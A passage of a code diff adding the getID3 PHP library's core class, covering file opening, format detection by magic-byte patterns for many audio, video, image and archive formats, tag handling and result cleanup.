+			$helperappsdir = GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'; // must not have any space in this path
+
+			if (!is_dir($helperappsdir)) {
+				$this->startup_warning .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist';
+			} elseif (strpos(realpath($helperappsdir), ' ') !== false) {
+				$DirPieces = explode(DIRECTORY_SEPARATOR, realpath($helperappsdir));
+				$path_so_far = array();
+				foreach ($DirPieces as $key => $value) {
+					if (strpos($value, ' ') !== false) {
+						if (!empty($path_so_far)) {
+							$commandline = 'dir /x '.escapeshellarg(implode(DIRECTORY_SEPARATOR, $path_so_far));
+							$dir_listing = `$commandline`;
+							$lines = explode("\n", $dir_listing);
+							foreach ($lines as $line) {
+								$line = trim($line);
+								if (preg_match('#^([0-9/]{10}) +([0-9:]{4,5}( [AP]M)?) +(<DIR>|[0-9,]+) +([^ ]{0,11}) +(.+)$#', $line, $matches)) {
+									list($dummy, $date, $time, $ampm, $filesize, $shortname, $filename) = $matches;
+									if ((strtoupper($filesize) == '<DIR>') && (strtolower($filename) == strtolower($value))) {
+										$value = $shortname;
+									}
+								}
+							}
+						} else {
+							$this->startup_warning .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary. You can run "dir /x" from the commandline to see the correct 8.3-style names.';
+						}
+					}
+					$path_so_far[] = $value;
+				}
+				$helperappsdir = implode(DIRECTORY_SEPARATOR, $path_so_far);
+			}
+			define('GETID3_HELPERAPPSDIR', $helperappsdir.DIRECTORY_SEPARATOR);
+		}
+
+		return true;
+	}
+
+	public function version() {
+		return self::VERSION;
+	}
+
+	public function fread_buffer_size() {
+		return $this->option_fread_buffer_size;
+	}
+
+
+	// public: setOption
+	public function setOption($optArray) {
+		if (!is_array($optArray) || empty($optArray)) {
+			return false;
+		}
+		foreach ($optArray as $opt => $val) {
+			if (isset($this->$opt) === false) {
+				continue;
+			}
+			$this->$opt = $val;
+		}
+		return true;
+	}
+
+
+	public function openfile($filename) {
+		try {
+			if (!empty($this->startup_error)) {
+				throw new getid3_exception($this->startup_error);
+			}
+			if (!empty($this->startup_warning)) {
+				$this->warning($this->startup_warning);
+			}
+
+			// init result array and set parameters
+			$this->filename = $filename;
+			$this->info = array();
+			$this->info['GETID3_VERSION']   = $this->version();
+			$this->info['php_memory_limit'] = $this->memory_limit;
+
+			// remote files not supported
+			if (preg_match('/^(ht|f)tp:\/\//', $filename)) {
+				throw new getid3_exception('Remote files are not supported - please copy the file locally first');
+			}
+
+			$filename = str_replace('/', DIRECTORY_SEPARATOR, $filename);
+			$filename = preg_replace('#(.+)'.preg_quote(DIRECTORY_SEPARATOR).'{2,}#U', '\1'.DIRECTORY_SEPARATOR, $filename);
+
+			// open local file
+			//if (is_readable($filename) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) { // see http://www.getid3.org/phpBB3/viewtopic.php?t=1720
+			if ((is_readable($filename) || file_exists($filename)) && is_file($filename) && ($this->fp = fopen($filename, 'rb'))) {
+				// great
+			} else {
+				$errormessagelist = array();
+				if (!is_readable($filename)) {
+					$errormessagelist[] = '!is_readable';
+				}
+				if (!is_file($filename)) {
+					$errormessagelist[] = '!is_file';
+				}
+				if (!file_exists($filename)) {
+					$errormessagelist[] = '!file_exists';
+				}
+				if (empty($errormessagelist)) {
+					$errormessagelist[] = 'fopen failed';
+				}
+				throw new getid3_exception('Could not open "'.$filename.'" ('.implode('; ', $errormessagelist).')');
+			}
+
+			$this->info['filesize'] = filesize($filename);
+			// set redundant parameters - might be needed in some include file
+			// filenames / filepaths in getID3 are always expressed with forward slashes (unix-style) for both Windows and other to try and minimize confusion
+			$filename = str_replace('\\', '/', $filename);
+			$this->info['filepath']     = str_replace('\\', '/', realpath(dirname($filename)));
+			$this->info['filename']     = getid3_lib::mb_basename($filename);
+			$this->info['filenamepath'] = $this->info['filepath'].'/'.$this->info['filename'];
+
+
+			// option_max_2gb_check
+			if ($this->option_max_2gb_check) {
+				// PHP (32-bit all, and 64-bit Windows) doesn't support integers larger than 2^31 (~2GB)
+				// filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
+				// ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
+				$fseek = fseek($this->fp, 0, SEEK_END);
+				if (($fseek < 0) || (($this->info['filesize'] != 0) && (ftell($this->fp) == 0)) ||
+					($this->info['filesize'] < 0) ||
+					(ftell($this->fp) < 0)) {
+						$real_filesize = getid3_lib::getFileSizeSyscall($this->info['filenamepath']);
+
+						if ($real_filesize === false) {
+							unset($this->info['filesize']);
+							fclose($this->fp);
+							throw new getid3_exception('Unable to determine actual filesize. File is most likely larger than '.round(PHP_INT_MAX / 1073741824).'GB and is not supported by PHP.');
+						} elseif (getid3_lib::intValueSupported($real_filesize)) {
+							unset($this->info['filesize']);
+							fclose($this->fp);
+							throw new getid3_exception('PHP seems to think the file is larger than '.round(PHP_INT_MAX / 1073741824).'GB, but filesystem reports it as '.number_format($real_filesize, 3).'GB, please report to info@getid3.org');
+						}
+						$this->info['filesize'] = $real_filesize;
+						$this->warning('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB (filesystem reports it as '.number_format($real_filesize, 3).'GB) and is not properly supported by PHP.');
+				}
+			}
+
+			// set more parameters
+			$this->info['avdataoffset']        = 0;
+			$this->info['avdataend']           = $this->info['filesize'];
+			$this->info['fileformat']          = '';                // filled in later
+			$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
+			$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
+			$this->info['tags']                = array();           // filled in later, unset if not used
+			$this->info['error']               = array();           // filled in later, unset if not used
+			$this->info['warning']             = array();           // filled in later, unset if not used
+			$this->info['comments']            = array();           // filled in later, unset if not used
+			$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired
+
+			return true;
+
+		} catch (Exception $e) {
+			$this->error($e->getMessage());
+		}
+		return false;
+	}
+
+	// public: analyze file
+	public function analyze($filename) {
+		try {
+			if (!$this->openfile($filename)) {
+				return $this->info;
+			}
+
+			// Handle tags
+			foreach (array('id3v2'=>'id3v2', 'id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
+				$option_tag = 'option_tag_'.$tag_name;
+				if ($this->$option_tag) {
+					$this->include_module('tag.'.$tag_name);
+					try {
+						$tag_class = 'getid3_'.$tag_name;
+						$tag = new $tag_class($this);
+						$tag->Analyze();
+					}
+					catch (getid3_exception $e) {
+						throw $e;
+					}
+				}
+			}
+			if (isset($this->info['id3v2']['tag_offset_start'])) {
+				$this->info['avdataoffset'] = max($this->info['avdataoffset'], $this->info['id3v2']['tag_offset_end']);
+			}
+			foreach (array('id3v1'=>'id3v1', 'apetag'=>'ape', 'lyrics3'=>'lyrics3') as $tag_name => $tag_key) {
+				if (isset($this->info[$tag_key]['tag_offset_start'])) {
+					$this->info['avdataend'] = min($this->info['avdataend'], $this->info[$tag_key]['tag_offset_start']);
+				}
+			}
+
+			// ID3v2 detection (NOT parsing), even if ($this->option_tag_id3v2 == false) done to make fileformat easier
+			if (!$this->option_tag_id3v2) {
+				fseek($this->fp, 0);
+				$header = fread($this->fp, 10);
+				if ((substr($header, 0, 3) == 'ID3') && (strlen($header) == 10)) {
+					$this->info['id3v2']['header']        = true;
+					$this->info['id3v2']['majorversion']  = ord($header{3});
+					$this->info['id3v2']['minorversion']  = ord($header{4});
+					$this->info['avdataoffset']          += getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length
+				}
+			}
+
+			// read 32 kb file data
+			fseek($this->fp, $this->info['avdataoffset']);
+			$formattest = fread($this->fp, 32774);
+
+			// determine format
+			$determined_format = $this->GetFileFormat($formattest, $filename);
+
+			// unable to determine file format
+			if (!$determined_format) {
+				fclose($this->fp);
+				return $this->error('unable to determine file format');
+			}
+
+			// check for illegal ID3 tags
+			if (isset($determined_format['fail_id3']) && (in_array('id3v1', $this->info['tags']) || in_array('id3v2', $this->info['tags']))) {
+				if ($determined_format['fail_id3'] === 'ERROR') {
+					fclose($this->fp);
+					return $this->error('ID3 tags not allowed on this file type.');
+				} elseif ($determined_format['fail_id3'] === 'WARNING') {
+					$this->warning('ID3 tags not allowed on this file type.');
+				}
+			}
+
+			// check for illegal APE tags
+			if (isset($determined_format['fail_ape']) && in_array('ape', $this->info['tags'])) {
+				if ($determined_format['fail_ape'] === 'ERROR') {
+					fclose($this->fp);
+					return $this->error('APE tags not allowed on this file type.');
+				} elseif ($determined_format['fail_ape'] === 'WARNING') {
+					$this->warning('APE tags not allowed on this file type.');
+				}
+			}
+
+			// set mime type
+			$this->info['mime_type'] = $determined_format['mime_type'];
+
+			// supported format signature pattern detected, but module deleted
+			if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
+				fclose($this->fp);
+				return $this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
+			}
+
+			// module requires iconv support
+			// Check encoding/iconv support
+			if (!empty($determined_format['iconv_req']) && !function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'UTF-16'))) {
+				$errormessage = 'iconv() support is required for this module ('.$determined_format['include'].') for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
+				if (GETID3_OS_ISWINDOWS) {
+					$errormessage .= 'PHP does not have iconv() support. Please enable php_iconv.dll in php.ini, and copy iconv.dll from c:/php/dlls to c:/windows/system32';
+				} else {
+					$errormessage .= 'PHP is not compiled with iconv() support. Please recompile with the --with-iconv switch';
+				}
+				return $this->error($errormessage);
+			}
+
+			// include module
+			include_once(GETID3_INCLUDEPATH.$determined_format['include']);
+
+			// instantiate module class
+			$class_name = 'getid3_'.$determined_format['module'];
+			if (!class_exists($class_name)) {
+				return $this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
+			}
+			$class = new $class_name($this);
+			$class->Analyze();
+			unset($class);
+
+			// close file
+			fclose($this->fp);
+
+			// process all tags - copy to 'tags' and convert charsets
+			if ($this->option_tags_process) {
+				$this->HandleAllTags();
+			}
+
+			// perform more calculations
+			if ($this->option_extra_info) {
+				$this->ChannelsBitratePlaytimeCalculations();
+				$this->CalculateCompressionRatioVideo();
+				$this->CalculateCompressionRatioAudio();
+				$this->CalculateReplayGain();
+				$this->ProcessAudioStreams();
+			}
+
+			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
+			if ($this->option_md5_data) {
+				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
+				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
+					$this->getHashdata('md5');
+				}
+			}
+
+			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
+			if ($this->option_sha1_data) {
+				$this->getHashdata('sha1');
+			}
+
+			// remove undesired keys
+			$this->CleanUp();
+
+		} catch (Exception $e) {
+			$this->error('Caught exception: '.$e->getMessage());
+		}
+
+		// return info array
+		return $this->info;
+	}
+
+
+	// private: error handling
+	public function error($message) {
+		$this->CleanUp();
+		if (!isset($this->info['error'])) {
+			$this->info['error'] = array();
+		}
+		$this->info['error'][] = $message;
+		return $this->info;
+	}
+
+
+	// private: warning handling
+	public function warning($message) {
+		$this->info['warning'][] = $message;
+		return true;
+	}
+
+
+	// private: CleanUp
+	private function CleanUp() {
+
+		// remove possible empty keys
+		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
+		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
+			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
+				unset($this->info['audio'][$key]);
+			}
+			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
+				unset($this->info['video'][$key]);
+			}
+		}
+
+		// remove empty root keys
+		if (!empty($this->info)) {
+			foreach ($this->info as $key => $value) {
+				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
+					unset($this->info[$key]);
+				}
+			}
+		}
+
+		// remove meaningless entries from unknown-format files
+		if (empty($this->info['fileformat'])) {
+			if (isset($this->info['avdataoffset'])) {
+				unset($this->info['avdataoffset']);
+			}
+			if (isset($this->info['avdataend'])) {
+				unset($this->info['avdataend']);
+			}
+		}
+
+		// remove possible duplicated identical entries
+		if (!empty($this->info['error'])) {
+			$this->info['error'] = array_values(array_unique($this->info['error']));
+		}
+		if (!empty($this->info['warning'])) {
+			$this->info['warning'] = array_values(array_unique($this->info['warning']));
+		}
+
+		// remove "global variable" type keys
+		unset($this->info['php_memory_limit']);
+
+		return true;
+	}
+
+
+	// return array containing information about all supported formats
+	public function GetFileFormatArray() {
+		static $format_info = array();
+		if (empty($format_info)) {
+			$format_info = array(
+
+				// Audio formats
+
+				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
+				'ac3'  => array(
+							'pattern'   => '^\x0B\x77',
+							'group'     => 'audio',
+							'module'    => 'ac3',
+							'mime_type' => 'audio/ac3',
+						),
+
+				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
+				'adif' => array(
+							'pattern'   => '^ADIF',
+							'group'     => 'audio',
+							'module'    => 'aac',
+							'mime_type' => 'application/octet-stream',
+							'fail_ape'  => 'WARNING',
+						),
+
+/*
+				// AA   - audio       - Audible Audiobook
+				'aa'   => array(
+							'pattern'   => '^.{4}\x57\x90\x75\x36',
+							'group'     => 'audio',
+							'module'    => 'aa',
+							'mime_type' => 'audio/audible',
+						),
+*/
+				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
+				'adts' => array(
+							'pattern'   => '^\xFF[\xF0-\xF1\xF8-\xF9]',
+							'group'     => 'audio',
+							'module'    => 'aac',
+							'mime_type' => 'application/octet-stream',
+							'fail_ape'  => 'WARNING',
+						),
+
+
+				// AU   - audio       - NeXT/Sun AUdio (AU)
+				'au'   => array(
+							'pattern'   => '^\.snd',
+							'group'     => 'audio',
+							'module'    => 'au',
+							'mime_type' => 'audio/basic',
+						),
+
+				// AMR  - audio       - Adaptive Multi Rate
+				'amr'  => array(
+							'pattern'   => '^\x23\x21AMR\x0A', // #!AMR[0A]
+							'group'     => 'audio',
+							'module'    => 'amr',
+							'mime_type' => 'audio/amr',
+						),
+
+				// AVR  - audio       - Audio Visual Research
+				'avr'  => array(
+							'pattern'   => '^2BIT',
+							'group'     => 'audio',
+							'module'    => 'avr',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// BONK - audio       - Bonk v0.9+
+				'bonk' => array(
+							'pattern'   => '^\x00(BONK|INFO|META| ID3)',
+							'group'     => 'audio',
+							'module'    => 'bonk',
+							'mime_type' => 'audio/xmms-bonk',
+						),
+
+				// DSS  - audio       - Digital Speech Standard
+				'dss'  => array(
+							'pattern'   => '^[\x02-\x03]ds[s2]',
+							'group'     => 'audio',
+							'module'    => 'dss',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// DTS  - audio       - Dolby Theatre System
+				'dts'  => array(
+							'pattern'   => '^\x7F\xFE\x80\x01',
+							'group'     => 'audio',
+							'module'    => 'dts',
+							'mime_type' => 'audio/dts',
+						),
+
+				// FLAC - audio       - Free Lossless Audio Codec
+				'flac' => array(
+							'pattern'   => '^fLaC',
+							'group'     => 'audio',
+							'module'    => 'flac',
+							'mime_type' => 'audio/x-flac',
+						),
+
+				// LA   - audio       - Lossless Audio (LA)
+				'la'   => array(
+							'pattern'   => '^LA0[2-4]',
+							'group'     => 'audio',
+							'module'    => 'la',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
+				'lpac' => array(
+							'pattern'   => '^LPAC',
+							'group'     => 'audio',
+							'module'    => 'lpac',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
+				'midi' => array(
+							'pattern'   => '^MThd',
+							'group'     => 'audio',
+							'module'    => 'midi',
+							'mime_type' => 'audio/midi',
+						),
+
+				// MAC  - audio       - Monkey's Audio Compressor
+				'mac'  => array(
+							'pattern'   => '^MAC ',
+							'group'     => 'audio',
+							'module'    => 'monkey',
+							'mime_type' => 'application/octet-stream',
+						),
+
+// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
+//				// MOD  - audio       - MODule (assorted sub-formats)
+//				'mod'  => array(
+//							'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)',
+//							'group'     => 'audio',
+//							'module'    => 'mod',
+//							'option'    => 'mod',
+//							'mime_type' => 'audio/mod',
+//						),
+
+				// MOD  - audio       - MODule (Impulse Tracker)
+				'it'   => array(
+							'pattern'   => '^IMPM',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 'it',
+							'mime_type' => 'audio/it',
+						),
+
+				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
+				'xm'   => array(
+							'pattern'   => '^Extended Module',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 'xm',
+							'mime_type' => 'audio/xm',
+						),
+
+				// MOD  - audio       - MODule (ScreamTracker)
+				's3m'  => array(
+							'pattern'   => '^.{44}SCRM',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 's3m',
+							'mime_type' => 'audio/s3m',
+						),
+
+				// MPC  - audio       - Musepack / MPEGplus
+				'mpc'  => array(
+							'pattern'   => '^(MPCK|MP\+|[\x00\x01\x10\x11\x40\x41\x50\x51\x80\x81\x90\x91\xC0\xC1\xD0\xD1][\x20-37][\x00\x20\x40\x60\x80\xA0\xC0\xE0])',
+							'group'     => 'audio',
+							'module'    => 'mpc',
+							'mime_type' => 'audio/x-musepack',
+						),
+
+				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
+				'mp3'  => array(
+							'pattern'   => '^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\x0B\x10-\x1B\x20-\x2B\x30-\x3B\x40-\x4B\x50-\x5B\x60-\x6B\x70-\x7B\x80-\x8B\x90-\x9B\xA0-\xAB\xB0-\xBB\xC0-\xCB\xD0-\xDB\xE0-\xEB\xF0-\xFB]',
+							'group'     => 'audio',
+							'module'    => 'mp3',
+							'mime_type' => 'audio/mpeg',
+						),
+
+				// OFR  - audio       - OptimFROG
+				'ofr'  => array(
+							'pattern'   => '^(\*RIFF|OFR)',
+							'group'     => 'audio',
+							'module'    => 'optimfrog',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// RKAU - audio       - RKive AUdio compressor
+				'rkau' => array(
+							'pattern'   => '^RKA',
+							'group'     => 'audio',
+							'module'    => 'rkau',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// SHN  - audio       - Shorten
+				'shn'  => array(
+							'pattern'   => '^ajkg',
+							'group'     => 'audio',
+							'module'    => 'shorten',
+							'mime_type' => 'audio/xmms-shn',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
+				'tta'  => array(
+							'pattern'   => '^TTA',  // could also be '^TTA(\x01|\x02|\x03|2|1)'
+							'group'     => 'audio',
+							'module'    => 'tta',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// VOC  - audio       - Creative Voice (VOC)
+				'voc'  => array(
+							'pattern'   => '^Creative Voice File',
+							'group'     => 'audio',
+							'module'    => 'voc',
+							'mime_type' => 'audio/voc',
+						),
+
+				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
+				'vqf'  => array(
+							'pattern'   => '^TWIN',
+							'group'     => 'audio',
+							'module'    => 'vqf',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// WV  - audio        - WavPack (v4.0+)
+				'wv'   => array(
+							'pattern'   => '^wvpk',
+							'group'     => 'audio',
+							'module'    => 'wavpack',
+							'mime_type' => 'application/octet-stream',
+						),
+
+
+				// Audio-Video formats
+
+				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
+				'asf'  => array(
+							'pattern'   => '^\x30\x26\xB2\x75\x8E\x66\xCF\x11\xA6\xD9\x00\xAA\x00\x62\xCE\x6C',
+							'group'     => 'audio-video',
+							'module'    => 'asf',
+							'mime_type' => 'video/x-ms-asf',
+							'iconv_req' => false,
+						),
+
+				// BINK - audio/video - Bink / Smacker
+				'bink' => array(
+							'pattern'   => '^(BIK|SMK)',
+							'group'     => 'audio-video',
+							'module'    => 'bink',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// FLV  - audio/video - FLash Video
+				'flv' => array(
+							'pattern'   => '^FLV\x01',
+							'group'     => 'audio-video',
+							'module'    => 'flv',
+							'mime_type' => 'video/x-flv',
+						),
+
+				// MKAV - audio/video - Mastroka
+				'matroska' => array(
+							'pattern'   => '^\x1A\x45\xDF\xA3',
+							'group'     => 'audio-video',
+							'module'    => 'matroska',
+							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
+						),
+
+				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
+				'mpeg' => array(
+							'pattern'   => '^\x00\x00\x01(\xBA|\xB3)',
+							'group'     => 'audio-video',
+							'module'    => 'mpeg',
+							'mime_type' => 'video/mpeg',
+						),
+
+				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
+				'nsv'  => array(
+							'pattern'   => '^NSV[sf]',
+							'group'     => 'audio-video',
+							'module'    => 'nsv',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
+				'ogg'  => array(
+							'pattern'   => '^OggS',
+							'group'     => 'audio',
+							'module'    => 'ogg',
+							'mime_type' => 'application/ogg',
+							'fail_id3'  => 'WARNING',
+							'fail_ape'  => 'WARNING',
+						),
+
+				// QT   - audio/video - Quicktime
+				'quicktime' => array(
+							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
+							'group'     => 'audio-video',
+							'module'    => 'quicktime',
+							'mime_type' => 'video/quicktime',
+						),
+
+				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
+				'riff' => array(
+							'pattern'   => '^(RIFF|SDSS|FORM)',
+							'group'     => 'audio-video',
+							'module'    => 'riff',
+							'mime_type' => 'audio/x-wave',
+							'fail_ape'  => 'WARNING',
+						),
+
+				// Real - audio/video - RealAudio, RealVideo
+				'real' => array(
+							'pattern'   => '^(\\.RMF|\\.ra)',
+							'group'     => 'audio-video',
+							'module'    => 'real',
+							'mime_type' => 'audio/x-realaudio',
+						),
+
+				// SWF - audio/video - ShockWave Flash
+				'swf' => array(
+							'pattern'   => '^(F|C)WS',
+							'group'     => 'audio-video',
+							'module'    => 'swf',
+							'mime_type' => 'application/x-shockwave-flash',
+						),
+
+				// TS - audio/video - MPEG-2 Transport Stream
+				'ts' => array(
+							'pattern'   => '^(\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
+							'group'     => 'audio-video',
+							'module'    => 'ts',
+							'mime_type' => 'video/MP2T',
+						),
+
+
+				// Still-Image formats
+
+				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
+				'bmp'  => array(
+							'pattern'   => '^BM',
+							'group'     => 'graphic',
+							'module'    => 'bmp',
+							'mime_type' => 'image/bmp',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// GIF  - still image - Graphics Interchange Format
+				'gif'  => array(
+							'pattern'   => '^GIF',
+							'group'     => 'graphic',
+							'module'    => 'gif',
+							'mime_type' => 'image/gif',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// JPEG - still image - Joint Photographic Experts Group (JPEG)
+				'jpg'  => array(
+							'pattern'   => '^\xFF\xD8\xFF',
+							'group'     => 'graphic',
+							'module'    => 'jpg',
+							'mime_type' => 'image/jpeg',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// PCD  - still image - Kodak Photo CD
+				'pcd'  => array(
+							'pattern'   => '^.{2048}PCD_IPI\x00',
+							'group'     => 'graphic',
+							'module'    => 'pcd',
+							'mime_type' => 'image/x-photo-cd',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// PNG  - still image - Portable Network Graphics (PNG)
+				'png'  => array(
+							'pattern'   => '^\x89\x50\x4E\x47\x0D\x0A\x1A\x0A',
+							'group'     => 'graphic',
+							'module'    => 'png',
+							'mime_type' => 'image/png',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// SVG  - still image - Scalable Vector Graphics (SVG)
+				'svg'  => array(
+							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http:\/\/www\.w3\.org\/2000\/svg")',
+							'group'     => 'graphic',
+							'module'    => 'svg',
+							'mime_type' => 'image/svg+xml',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// TIFF - still image - Tagged Information File Format (TIFF)
+				'tiff' => array(
+							'pattern'   => '^(II\x2A\x00|MM\x00\x2A)',
+							'group'     => 'graphic',
+							'module'    => 'tiff',
+							'mime_type' => 'image/tiff',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// EFAX - still image - eFax (TIFF derivative)
+				'efax'  => array(
+							'pattern'   => '^\xDC\xFE',
+							'group'     => 'graphic',
+							'module'    => 'efax',
+							'mime_type' => 'image/efax',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// Data formats
+
+				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
+				'iso'  => array(
+							'pattern'   => '^.{32769}CD001',
+							'group'     => 'misc',
+							'module'    => 'iso',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+							'iconv_req' => false,
+						),
+
+				// RAR  - data        - RAR compressed data
+				'rar'  => array(
+							'pattern'   => '^Rar\!',
+							'group'     => 'archive',
+							'module'    => 'rar',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// SZIP - audio/data  - SZIP compressed data
+				'szip' => array(
+							'pattern'   => '^SZ\x0A\x04',
+							'group'     => 'archive',
+							'module'    => 'szip',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// TAR  - data        - TAR compressed data
+				'tar'  => array(
+							'pattern'   => '^.{100}[0-9\x20]{7}\x00[0-9\x20]{7}\x00[0-9\x20]{7}\x00[0-9\x20\x00]{12}[0-9\x20\x00]{12}',
+							'group'     => 'archive',
+							'module'    => 'tar',
+							'mime_type' => 'application/x-tar',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// GZIP  - data        - GZIP compressed data
+				'gz'  => array(
+							'pattern'   => '^\x1F\x8B\x08',
+							'group'     => 'archive',
+							'module'    => 'gzip',
+							'mime_type' => 'application/x-gzip',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// ZIP  - data         - ZIP compressed data
+				'zip'  => array(
+							'pattern'   => '^PK\x03\x04',
+							'group'     => 'archive',
+							'module'    => 'zip',
+							'mime_type' => 'application/zip',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// Misc other formats
+
+				// PAR2 - data        - Parity Volume Set Specification 2.0
+				'par2' => array (
+							'pattern'   => '^PAR2\x00PKT',
+							'group'     => 'misc',
+							'module'    => 'par2',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// PDF  - data        - Portable Document Format
+				'pdf'  => array(
+							'pattern'   => '^\x25PDF',
+							'group'     => 'misc',
+							'module'    => 'pdf',
+							'mime_type' => 'application/pdf',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// MSOFFICE  - data   - ZIP compressed data
+				'msoffice' => array(
+							'pattern'   => '^\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
+							'group'     => 'misc',
+							'module'    => 'msoffice',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				 // CUE  - data       - CUEsheet (index to single-file disc images)
+				 'cue' => array(
+							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
+							'group'     => 'misc',
+							'module'    => 'cue',
+							'mime_type' => 'application/octet-stream',
+						   ),
+
+			);
+		}
+
+		return $format_info;
+	}
+
+
+
+	public function GetFileFormat(&$filedata, $filename='') {
+		// this function will determine the format of a file based on usually
+		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
+		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
+		// of the file).
+
+		// Identify file format - loop through $format_info and detect with reg expr
+		foreach ($this->GetFileFormatArray() as $format_name => $info) {
+			// The /s switch on preg_match() forces preg_match() NOT to treat
+			// newline (0x0A) characters as special chars but do a binary match
